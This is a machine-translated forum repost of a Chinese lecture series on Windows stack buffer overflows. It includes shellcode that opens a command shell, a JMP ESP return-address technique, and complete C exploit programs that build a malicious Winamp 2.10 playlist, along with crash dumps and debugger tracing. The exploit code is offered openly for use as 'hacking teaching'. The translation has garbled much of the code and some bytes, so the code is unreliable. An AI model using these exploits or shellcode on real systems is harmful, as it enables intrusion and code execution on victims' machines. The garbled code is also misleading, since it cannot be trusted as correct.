Optimize the above algorithm, now we can write shellcode as follows: char shellcode [] = {0x8B, 0xE5, / * MOV ESP, EBP * / 0X55, / * PUSH EBP * / 0X8B, 0XEC, / * MOV EBP, ESP * / 0X83, 0XEC, 0X0C, / * SUB ESP, 0000000C * / 0xB8, 0X63, 0X6F, 0x6D, 0x6D, / * MOV EAX, 6D6D6F63 * /

0x89, 0x45, 0xF4, / * MOV DWORD PTR [EBP-0C], EAX * / 0XB8, 0X61, 0X6E, 0X64, 0X2E, / * MOV EAX, 2E646E61 * /

0x89, 0x45, 0xF8, / * MOV DWORD PTR [EBP-08], EAX * / 0XB8, 0X63, 0X6F, 0x6D, 0x22, / * MOV EAX, 226D6F63 * /

0x89, 0x45, 0xFc, / * MOV DWORD PTR [EBP-04], EAX * / 0X33, 0X32, / * XOR EDX, EDX * / 0X88, 0X55, 0XFF, / * MOV BYTE PTR [EBP-01], DL * / 0x8d, 0x45, 0xF4, / * Lea Eax, DWORD PTR [EBP-0C] * / 0x50, / * Push EAX * / 0XB8, 0X24, 0X98, 0X01, 0X78, / * MOV Eax, 78019824 * /

0xFF, 0xD0 / * Call Eax * /};

Remember the basic procedure of the test shellcode in the second lecture? We can use him to test this shellcode: #include #include char shellcode [] = {0x8b, 0xE5, / * MOV ESP, EBP * / 0X55, / * PUSH EBP * / 0x8B , 0xec, / * MOV EBP, ESP * / 0X83, 0XEC, 0x0C, / * SUB ESP, 0000000C * / 0xB8, 0X63, 0X6F, 0x6D, 0x6D, / * MOV EAX, 6D6D6F63 * / 0x89, 0X45, 0xF4, / * MOV DWORD PTR [EBP-0C], EAX * / 0XB8, 0X61, 0X6E, 0X64, 0X2E, / * MOV EAX, 2E646E61 * /

0x89, 0x45, 0xF8, / * MOV DWORD PTR [EBP-08], EAX * / 0XB8, 0X63, 0X6F, 0x6D, 0x22, / * MOV EAX, 226D6F63 * /

0x89, 0x45, 0xFc, / * MOV DWORD PTR [EBP-04], EAX * / 0X33, 0X32, / * XOR EDX, EDX * / 0X88, 0X55, 0XFF, / * MOV BYTE PTR [EBP-01], DL * / 0x8d, 0x45, 0xF4, / * Lea Eax, DWORD PTR [EBP-0C] * / 0x50, / * Push EAX * / 0XB8, 0X24, 0X98, 0X01, 0X78, / * MOV Eax, 78019824 * /

0xFF, 0xD0 / * Call Eax * /};

Int main () {int * ret; loadingLibrary ("msvcrt.dll");

RET = (int *); RET 2; // RET equal to Main () return address // ( 2 is because there is a PUSH EBP, otherwise add 1 is ok.)

(* RET) = (int) shellcode; // Modify the return address of the main () is the start address of the shellcode.

} Compile operation and get the DOS dialog.

Summary now. We already know how to get a stack overflow under the Windows system, how to calculate the offset address, and how to write a shellcode to get DOS. In theory, you have already have the ability to use the stack overflow. Here, we really master him through actual combat.

Reply: Stack overflow series lecture (1-10) Stack overflow series lecture (8) _HACKER teaching _ hacking technology

Stack overflow under the Window system --- Design of overflow strings

We already know how to get a stack overflow under the Windows system, how to calculate the offset address, and how to write a shellcode to get DOS.

But this is far less enough.

Everyone knows that the user process space of the Windows system is 0-2g, and the operating system is 2-4g. In fact, the load location of the user process is: 0x00400000. All instruction addresses, data addresses

And the stack pointer will contain 0, then our return address will inevitably contain 0.

Now let's take a look at our shellcode: nnnnsssrasaaaaaa. Obviously, our shellcode is 0 because of A., so it has become NNNNNNNSSSSSSA, so our return address A must exactly placed the RET position in the exact function stack.

In fact, in the previous lecture, we have mastered the way to find this location.

Second, when Windows is executing MOV ESP, EBP, the discarded stack is filled with random data (experiment, how to study, the mechanism is studied), so our shellcode may be overwritten! ---- This is finished, our shellcode is gone, the return address is correct? ?

So, our shellcode must be changed to: nnnnnnnnnnnnnnnnsssssssssss, after the buffer overflows, the stack layout is as follows:

Memory bottom memory top Buffer EBP RET <------ [nnnnnnnnnn] [n] [a] sss ^; buffer stack top stack bottom

see it? Our A covers the return address. S is located at the bottom of the stack. The content of A is the call to S.

However, we have said that A is a 0 character, such a overflow string, is blocked by 0 in A.

Can't go to Shellcode at all. We need to change A to not contain 0 addresses.

It seems that there is no way, is it? Now how we can do it, you can jump to our shellcode.

Can you not contain 0 bytes?

Everyone may still remember the author of the IIS4.0 remote attack author DARK Spyrit Aka Barnaby Jack? He proposed the instructions in the system core DLL to complete the jump in the 1999 Phrack Magzine555.15.

thought of. I have to say this is a genius idea. In fact, this tip created a new idea of ​​spilling out of Windows buffer.

The idea is like this: The content of the return address A does not point to our shellcode, otherwise, the a must contain 0. We know that the core DLL of the system is 2-4g, which is from 0x80000000 to 0xffffff, the instruction address in this will not contain 0, (except for several other things, we can use him). Therefore, we can order the address A equal to the address of the instruction in a system core DLL, the function of this instruction is called Call / JMP Our shellcode.

But how can he know the address of our shellcode?

The answer is: use the register. Because when the overflow occurs, other universal registers remain unchanged in addition to the EIP to the system core DLL. There must be information about our shellcode inside the register. For example, if there is a parameter, then our A covers his return address, and shellcode's start address is just in his first parameter, then we can use Call [EBP 4] or

We assume that the address of the enemy's first parameter is in Eax, then we can use Call / JMP EAX to call Shellcode. The value of these registers, we can get registers in the "Close Machine Frame" mentioned in the first lecture.

Details of the stack. So how do we know where there is a call / jmp eax? How do we know that these instructions can be called directly in memory every time?

The answer is: System core DLL. The system core DLL includes kernel32.dll, user32.dll, gdi32.dll. These DLLs are always located in memory and the location corresponding to fixed version Windows load is fixed. You can search for instructions you need in these DLLs. Other DLLs, such as MSVCRT. DLL is going to see the program's own import list. Look at whether he is loading this DLL. However, in general, these DLLs are enough. Ok, then our shellcode finally: nnnnnnnnnnnnsssssssssSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS is the address pointing to a Call / JMP instruction, this Call / JMP instruction is located in the system core memory> 0x80000000, this CALL / The JMP directive is specific, and it is necessary to analyze the results based on our Exploit. S: shellcode.

With these basic knowledge, let's analyze an example.

Everyone has WINAMP, his 2.10 has buffer vulnerabilities, let's take an Exploit.

Winamp's Playlist support file * .pls stores PlayList. The file name length in PlayList will occur if it is greater than a certain length. We can write test strings and precise tests. Test.cpp ----------------------------------------------- ------------------------- #include

INT main () {char buffer [640]; char eip [8] = ""; char sploit [256] = ""; file * file;

For (int x = 0; x <640; x ) {switch (x% 4) {case 0: buffer [x] = 'a'; Break; Case 1: buffer [x] = 'a' x / 26 % 26/26% 26; Break; Case 2: Buffer [x] = 'a' x / 26% 26; Break; Case 3: Buffer [x] = 'a' x% 26; Break;

}} buffer [x] = 0; file = fopen ("crash.pls", "wb");

FPRINTF (File, "[PlayList] / N"); FPRINTF (File, "File1 ="); FPRINTF (file, "% s", buffer; fprintf (file, "% s", eip); FPRINTF (File , "% s", sploit; fprintf (file, "/ nnumberofentries = 1);

Fclose (file); Printf ("/ t created file crash.pls loaded with the expend./n"); return 0;} --------------------- -------------------------------------------------- - Algorithm is simple, it is written in a CRACH.PLS file, and the content can be seen according to the fprintf.

I didn't talk, where the buffer's content is a string used. This test program can test a string of up to 26 ^ 3, enough.

Compilation execution, look at the results, hey, the stack overflow has occurred, the results are as follows: WINAMP is in the module of 00DE: 4C574141 causes invalid page error. Registers: EAX = 00000001 CS = 017f EIP = 4c574141 EFLGS = 00000206 EBX = 006da30c SS = 0187 ESP = 006da170 EBP = 006da2f4 ECX = 00000000 DS = 0187 ESI = 00445638 FS = 4bd7 EDX = 005b02dc ES = 0187 EDI = 00000001 GS = 4206 BYTES AT CS: EIP:

Stack Dump: 50574141 54574141 58574141 42584141 46584141 4A584141 4E584141 52584141 56584141 5A584141 44594141 48594141 4C594141 50594141

According to EIP = 4141574c, the ADDR = (57H-41H) * 26 (4CH-41H) -4 = 580. Ok, the overflow position is 580.

Everyone is now known in our overflow string, returning address A should be 580 skewers, then should we use what Call / JMP instructions do shellcode?

Look at the register dump, we found that the contents of the ESP are 41415750, just the first number after 4141574c. It seems that ESP points to our shellcode, great! We use instructions: JMP ESP can perform our shellcode.

Now find out that JMP ESP's instruction code is FF E4, Ctrl-D calls up S-ICE to see there is FFE4 in memory. Because the system core DLL starts from the address 0xBF000000, we search for S bf000000 l ffffffffff What results did FF, E4 get?

A bunch of this first is: BFF795A3. Take a look at the process name column in Softice: kernel32! GetDataFormata 1554 is good, it is kernel32.dll, it must be available.

OK, problem solving, we can now determine in the Buffer [580], write four bytes: "/ xa3 / x95 / xf7 / xbf". This is the return address A in our overflow string A.

Ok, now the overflow string has been basically analyzed, it is poor shellcode. Let's write shellcode. Our shellcode wants to open a DOS window. C language algorithm description is:

LoadLibrary ("msvcrt.dll"); system ("command.com"); exit (0); very simple, is it? Below is a compilation code:

First, to loadLibrary ("msvcrt.dll"); Push EBP MOV EBP, ESP XOR EAX, EAX PUSH EAX PUSH EAX PUSH EAX MOV BYTE PTR [EBP-0CH], 4DH MOV BYTE PTR [EBP-0BH], 53H MOV BYTE PTR [EBP-0AH], 56H MOV BYTE PTR [EBP-09H], 43H MOV BYTE PTR [EBP-08H], 52H MOV BYTE PTR [EBP-07H], 54H MOV BYTE PTR [EBP-06H], 2E MOV BYTE PTR [EBP-05H], 44H MOV BYTE PTR [EBP-04H], 4CH MOV BYTE PTR [EBP-03H], 4CH MOV EDX, 0xBFF776D4 // LoadLibrary Push Edx Lea Eax, [EBP-0CH] Push Eax Call Dword PTR [ EBP-10h] then open a DOS window: Push EBP MOV EBP, ESP SUB ESP, 0000002C MOV EAX, 6D6D6F63 MOV DWORD PTR [EBP-0C], EAX MOV EAX, 2E646E61 MOV DWORD PTR [EBP-08], EAX MOV EAX, 226D6F63 MOV DWORD PTR [EBP-04], EAX XOR EDX, EDX MOV BYTE PTR [EBP-01], DL Lea Eax, DWORD PTR [EBP-0C] Push Eax Mov Eax, 78019824 // System Call EAX Final Execution EXIT, exit. PUSH EBP MOV EBP, ESP MOV EBP, 0xFffffffFFFFFFB EDX, 0x87FFAAFB // EXIT PUSH EDX XOR EAX, EAX PUSH EAX CALL DWORD PTR [EBP-04H]

Simply put, MSVCRT.DLL is a dynamic link library that runs the C language standard library function. To use System, EXIT, you must load this library. Winamp does not have the IMPORT library, which we need to load itself. In the command MOV EDX, 0xBFF776D4, 0xBff776d4 is the address of the function loadLibrarya. His code is in kernel32.dll, is a DLL loaded by WinAmp. The kernel32.dll version on my machine is: (V4.10.2222). 0x78019824 is the address of the function system in MSVCRT.DLL. Version: (v6.00.8397.0) 0x78005504 is the address of the function exit in msvcrt.dll. Version: (v6.00.8397.0) Since there are 0, so to complete two instructions: mov edx, 0xFFFFFFFF sub edx, 0x87FFAAFB // == mov edx, 0x78005504

Compile, find two binary code: shellcode: "/ x5 / x50 / x50 / x50 / xc6 / x45 / xf4 / x4d / xc6 / x45 / x4 / x53" "/ XC6 / X45 / XF6 / X56 / XC6 / X45 / XF7 / X43 / XC6 / X45 / XF8 / X52 / XC6 / X45 / XF9 / XFA / X2E / XC6 "" / X45 / XFB / X44 / XC6 / X45 / XFC / X4C / XC6 / X45 / XFD / X4C / XBA / X50 / X77 / XF7 / XBF / X52 / X8 D / X45 / XF4 / X50 "" / XFF / X55 / XF0 "" / X55 / X8B / XEC / X83 / XEC / X2C / XB8 / X63 / X6F / X6D / X6D / X89 / X45 / XF4 / XB8 / X61 / X6E / X6 4 / X2E "" / X89 / X45 / XF8 / XB8 / X63 / X6F / X6D / X22 / X89 / X45 / XFC / X33 / XD2 / X88 / X55 / XFF / X8D / X4 5 / XF4 "" / X01 / XB8 / X24 / X98 / X01 / X78 / XFF / XD0 "" / X55 / X8B / XEC / XBA / XFF / XFF / XFF / XFF / X81 / XEA / XFB / XAA / XFF / X87 / X52 / X33 / XC0 / X5 0 / XFF / X55 / XFC "; well, all algorithms are discussed, the next lecture Let's implement an Exploit.

Reply: Stack overflow series lecture (1-10) Stack overflow series lecture (9) _Hacker teaching _ hacking technology

Stack overflow under the Window system - the last improvement

We use the test program written in front of the test program is an Exploit program: Exploit.cpp ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ ---------------------------------------- #include

INT main () {charffer [640]; char EIP [8] = "/ xa3 / x95 / xf7 / xbf"; char shellcode [256] = "/ x55 / x8b / xec / x33 / xc0 / x50 / x50 / X50 / XC6 / X45 / XF4 / X4D / XC6 / X45 / XF5 / X53 "// LOAD" / XC6 / X45 / XF6 / X56 / XC6 / X45 / XF7 / X43 / XC6 / X45 / XF8 / X52 / XC6 / X45 / XF9 / X54 / XC6 / X4 5 / XFA / X2E / XC6 "" / X45 / XFB / X44 / XC6 / X45 / XFC / X4C / XC6 / XBF / XFD / X4C / XBA / X50 / X77 / XF7 / XBF / X52 / X8 D / X45 / XF4 / X50 "" / XFF / X55 / XF0 "" / X55 / X8B / XEC / XB83 / XEC / X2C / XB8 / X63 / X6F / X6D / X6D / X89 / X45 / XF4 / XB8 / x61 / x6e / x6 4 / x2e "" / x89 / x45 / xf8 / xb8 / x63 / x6f / x6d / x22 / x89 / x45 / xfc / x33 / xd2 / x88 / x55 / XFF / X8D / X4 5 / XF4 "" / x50 / x01 / x78 / x98 / x01 / x78 / xff / xd0 "" / x55 / x8b / XEC / XBA / XFF / XEA / XFB / XAA / XFF / X87 / X52 / X33 / XC0 / X5 0 / XFF / X55 / XFC ";

File * file;

For (int x = 0; x <580; x ) {buffer [x] = 0x90;

File = FOPEN ("Crash.pls", "WB"); FPRINTF (File, "[PlayList] / N"); FPRINTF (File, "File1 ="); FPRINTF (File, "% s", buffer; FPRINTF (File, "% s", EIP; FPRINTF (file, "% s", shellcode; fprintf (file, "/ nnumberofentries = 1));

Fclose (file); Printf ("/ t created file crash.pls loaded with the expend./n");

Return 0;} ---------------------------------------------- ----------------------------

OK, run him, generate a file called crash.pls. Open this Playlist in Winamp,

There should be a DOS. Have you come out?

Oops, how is it wrong?

WINAMP results in invalid page errors in module WINAMP.EXE in 017F: 004200C3. Registers: EAX = 00000001 CS = 017f EIP = 004200c3 EFLGS = 00000206 EBX = 006da30c SS = 0187 ESP = 006da171 EBP = 006da2f4 ECX = 00000000 DS = 0187 ESI = 00445638 FS = 444f EDX = 005b02dc ES = 0187 EDI = 00000001 GS = 4446 bytes at CS: EIP: 00 85 f6 7d 06 03 35 dc 23 44 00 8b 6c 24 10 3b Stack dump: 0a006da1 8000009d 0000442a 90000000 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090 90909090

Look at the wrong information, EIP is 4200C3, it seems that we have started to implement our shellcode, how can there be an invalid page error? It seems that our shellcode has a problem.

At this time, S-ICE is also sent to use, tracking and see:

Ctrl-d bpx bff795a3 (is our JMP ESP) X, now run Winamp, open the file crash.pls, stopped by S-ICE, start tracking. After a JMP ESP, I went to our shellcode, continue to execute, what did you see?

strange! Our shellcode is shortened, go to B8249801, there is no. How is this going? It should be / xb8 / x24 / x98 / x01 / x78, where is the / x01?

It seems that the enemy is handled by the input overflow string, and the characters that cannot be used as the file are handled as 0 (in fact this is the process of Win32API function). Our shellcode is truncated.

I said in the first quarter in the fourth question, I said the countermeasures for this problem. This problem solves us to change shellcode and remove those characters with problems: / X01

We do the following: MOV Eax, 78019824 ----> MOV EAX, Fffffff Sub Eax, 87FE67DB assembly: XB8 / X24 / X98 / X01 / X78 ----> / XB8 / XFF / XFF / XFF / XFF / X2D / XDB / X67 / XFE / X87 Get the following new procedure: / * Stack based buffline overflow expenented for Winamp V2.10 * Author Steve Fewer, 04-01-2k. Mail me at darkplan@oceanfree.net * * for A Detailed description on the expel see my advisory. * * Tested with winamp v2.10 using windows98 on an intel * pii 400 with 128MB RAM * * http://indigo.ie/~lmf* modify by ipxodi 20-01-2k

* for windows98 the 2nd version and for a new shellcode.

* Windows98 V 4.10.2222.a Chinese version * PII 366 with 64MB RAM (Not a good pc, en?)

* ipxodi@263.net * /

#include

Int main () {

Char buffer [640]; char EIP [8] = "/ xa3 / x95 / xf7 / xbf"; char sploit [256] = "/ x55 / x8b / xec / x33 / xc0 / x50 / x50 / x50 / xc6 / x45 / XF4 / X4D / XC6 / X45 / XF5 / X53 "" / XC6 / X45 / XF6 / X56 / XC6 / X45 / XF7 / X43 / XC6 / XC6 / X45 / XF9 / X54 / XC6 / X4 5 / xfa / x2e / xc6 "" / x45 / x45 / x4c / xc6 / x45 / xfd / x4c / xba / x50 / x77 / xf7 / xbf / x52 / x8 D / X45 / XF4 / x50 "" / xff / x55 / xf0 "

"/ x55 / x8b / x2c / xb8 / x63 / x6f / x6d / x6d / x89 / x45 / xf4 / xb8 / x61 / x6e / x6 4 / x2e" / x89 / x45 / xf8 / xb8 / X63 / X6F / X6D / X22 / X89 / X45 / XFC / X33 / XD2 / X88 / X55 / XFF / X8D / X4 5 / XF4 "" / X50 / XB8 / XFF / XDB / XFF / XFF / X2D / XDB / X67 / XFE / X87 / XFF / XD0 "" / X55 / X8B / XEC / XBA / XFF / XEA / XFB / XAA / XFF / X87 / X52 / X33 / XC0 / X5 0 / XFF / X55 / XFC ";

File * file;

For (int x = 0; x <580; x ) {buffer [x] = 0x90;} buffer [x] = 0; file = fopen ("crsh.pls", "wb");

FPRINTF (File, "[PlayList] / N"); FPRINTF (File, "File1 ="); FPRINTF (file, "% s", buffer; fprintf (file, "% s", eip); FPRINTF (File , "% s", sploit); FPRINTF (file, "/ nnumberofentries = 1); fclose (file); Printf (" / t created file crash.pls loaded with the expend./n ");

Return 0;}

OK, run him, generate a file called crash.pls. Open this PlayList in Winamp, the result is as follows, my lovely DOS came out:

Microsoft (R) Windows 98 (C) Copyright Microsoft Corp 1981-1999.

D: / Hacker / Document / IPXODI> DIR ..................................................... ......

Reply: Stack overflow series lecture (1-10) Stack overflow series lecture (10) _Hacker teaching _ hacking technology

Stack Overflow Series Lecture WINDOW System Stack Overflow - Summary

After this actual exercise, everyone must have a deep master of buffer overflow under WINDOWS. We can see that the stack overflow attacks under Windows, the principle is basically the same. However, since the Windows User Process Space Assignment and Stack Processing has its own independent feature, the stack overflows the stack overflow when the stack overflow attack in the Windows environment is caused, and it is very different from UNIX. This is also the reason why I have written Windows series after I have written the stack overflow of Linux.

In addition, from the process of crack, I can find that I have repeatedly emphasized the version of Windows. In fact, this also led to Exploit under Windows without versatility. Everyone's Windows version is different, and Exploit uses a lot of library functions in the dynamic link library, and its address is related to the version of the DLL. Different DLL versions, the offset address of the library function inside (note: It is possible) Because of Windows's Patch Every day, some of his DLL is updated quickly. Even possible different language versions of Windows, their core DLL version is different. The user's DLL is changed, then the shellcode inside our exploit will rewrite.

In order to solve this problem, I think we can minimize the use of fixed addresses. That is, using getProcAddress to get every system function we will use, of course, this greatly has lengthened our shellcode. However, this is also unable to eliminate direct references to the address of LoadLibrary and getProcAddress in kernel32.dll, because these two are the most basic functions in Shellcode, which naturally leads to dependence on the kernel32.dll version.

Here, everyone is advised, don't be discouraged when you write the EXPLOIT error. Run SICE, track your shellcode, will find the root of the problem.

Therefore, this also answered questions of XSZ, LittleWorm last year. At that time, our experimentation IIS4.0 Exploit was not successful, and the Client side was completed after the Server side we often saw the box of Access Violation because shellcode's version reliance is caused. So, for the stack overflowing Exploit under Windows, you must open the original code to complete the changes of other versions, this, you have to remember when you publish Exploit.

Say a question: Many people run the stack overflowing Exploit is not successful, think that there is no problem with your machine. In this regard, Dark Spyrit Aka Barnaby Jack has such a suggestion: if the experait failed ... do not determine the threat to your servery on the results of one public exped - The Vulnerability EXISTS, FIX IF you Think That Was The Only Demonstration Code Floating Around You NEED Your Head Examined.

In the case of a high-level discussion, Raner explored the buffer overflow under Windows in the 97-year stack overflow. His article is still there, everyone can go to the essence. However, only the principle of discussing it is, and still staying in the feasibility of stack overflow, and far without exploring him to attack.

I have also thought that the stack overflow attack of Windows is unnecessary.

Later, NT's Zhongpico users got admin, I thought of spilling attacks in Spulging from UNIX. Because there are many system processes in NT, they are started with the System account. If we can take them overflow, follow the methods above, you can get DOS, (NT is cmd.exe), will have the permissions of the superuser. Of course, you can do it for what you want.

This is just an application of the stack overflow attack in Windows NT. Last year, I studied the overflow of IIS4.0,

It is found that there is a problem with the Windows network service program causes a Windows stack overflow to help us get remote control. Recognizing that the Windows stack overflow attack will be a very research value attack.

In subsequent research, sometimes because difficulties are almost abandoned. It is good to have a small lazy (Sysword), Hellguard, and Master Kong (KXN) give me the supervision and help. Thanks here, at the same time, I would like to discuss the WINDOWS series stack overflowed friends LittleWorm, XSZ.

Finally, I hope that my lecture is a throwing jade, which can lead to a more deep discussion. I hope everyone will have a certain understanding of Windows stack overflow technology. If you can make an improved algorithm, or find new EXPLOIT, it is really a spirit of our hacking version.

Let us use this sentence: "if you assume That there's no hope. If you assume That there is an instinct for freedom, There is Opportunities to change Things."

-Noam Chomsky


New Post(0)